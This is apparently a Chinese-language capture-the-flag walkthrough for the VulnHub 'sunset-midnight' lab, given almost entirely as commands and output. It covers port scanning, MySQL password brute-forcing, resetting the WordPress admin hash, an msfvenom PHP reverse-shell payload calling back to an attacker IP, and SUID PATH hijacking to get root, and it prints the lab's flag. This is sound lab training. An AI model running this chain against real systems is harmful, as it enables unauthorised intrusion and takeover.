猫宁~~~
地址：https://www.vulnhub.com/entry/sunset-midnight,517/
关注工具和思路。
nmap 192.168.43.0/24
靶机IP 192.168.43.113
nmap -A -p1-65535 192.168.43.113
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
3306/tcp open mysql MySQL 5.5.5-10.3.22-MariaDB-0+deb10u1
访问http://192.168.43.113/，跳转http://sunset-midnight/
vim /etc/hosts
192.168.43.113 sunset-midnight
访问http://sunset-midnight/，是一个wordpress网站
http://sunset-midnight/wp-login.php
wpscan --url http://sunset-midnight/ --enumerate u
wpscan --url http://sunset-midnight/ u admin -P mima.txt -t 100
hydra 192.168.43.113 mysql -l root -P /usr/share/wordlists/rockyou.txt -t 1
[3306][mysql] host: 192.168.43.113 login: root password: robert
出现unblock with 'mysqladmin flush-hosts'，重启靶机再次爆破
mysql -uroot -p -h sunset-midnight
show databases;
use wordpress_db;
show tables;
select user_pass from wp_users;
密码显示$P$BaWk4oeAmrdn453hR6O6BvDqoF9yy6/
123456 MD5加密为e10adc3949ba59abbe56e057f20f883e
update wp_users SET user_pass="e10adc3949ba59abbe56e057f20f883e" where id=1;
wordpress后台账号密码是admin/123456
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.43.154 LPORT=4444 -f raw > muma.php
appearance---themes---上传muma.php
访问http://sunset-midnight/muma.php/，显示http://sunset-midnight/wp-content/uploads/2020/09/muma.php
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.43.154
set lport 4444
run
访问http://sunset-midnight/wp-content/uploads/2020/09/muma.php，反弹shell
shell
python -c "import pty;pty.spawn('/bin/bash')"
www-data@midnight:/var/www/html/wordpress/wp-content/uploads/2020/09$
cat /etc/passwd
jose:x:1000:1000:jose,,,:/home/jose:/bin/bash，值得关注
进入/var/www/html/wordpress，查看wp-config.php
/** MySQL database username */
define( 'DB_USER', 'jose' );
/** MySQL database password */
define( 'DB_PASSWORD', '645dc5a8871d2a4269d4cbe23f6ae103' );
https://www.cmd5.com/
https://www.somd5.com/
sudo -l 无法使用
su jose
密码是645dc5a8871d2a4269d4cbe23f6ae103
sudo -l用不了
寻找suid文件
find / -perm -u=s -type f 2>/dev/null
/usr/bin/status值得关注
cd /tmp
echo "/bin/bash" > service
chmod 777 service
echo $PATH
export PATH=/tmp:$PATH
status
获取root权限
root@midnight:/tmp#
cat user.txt，家目录
956a9564aa5632edca7b745c696f6575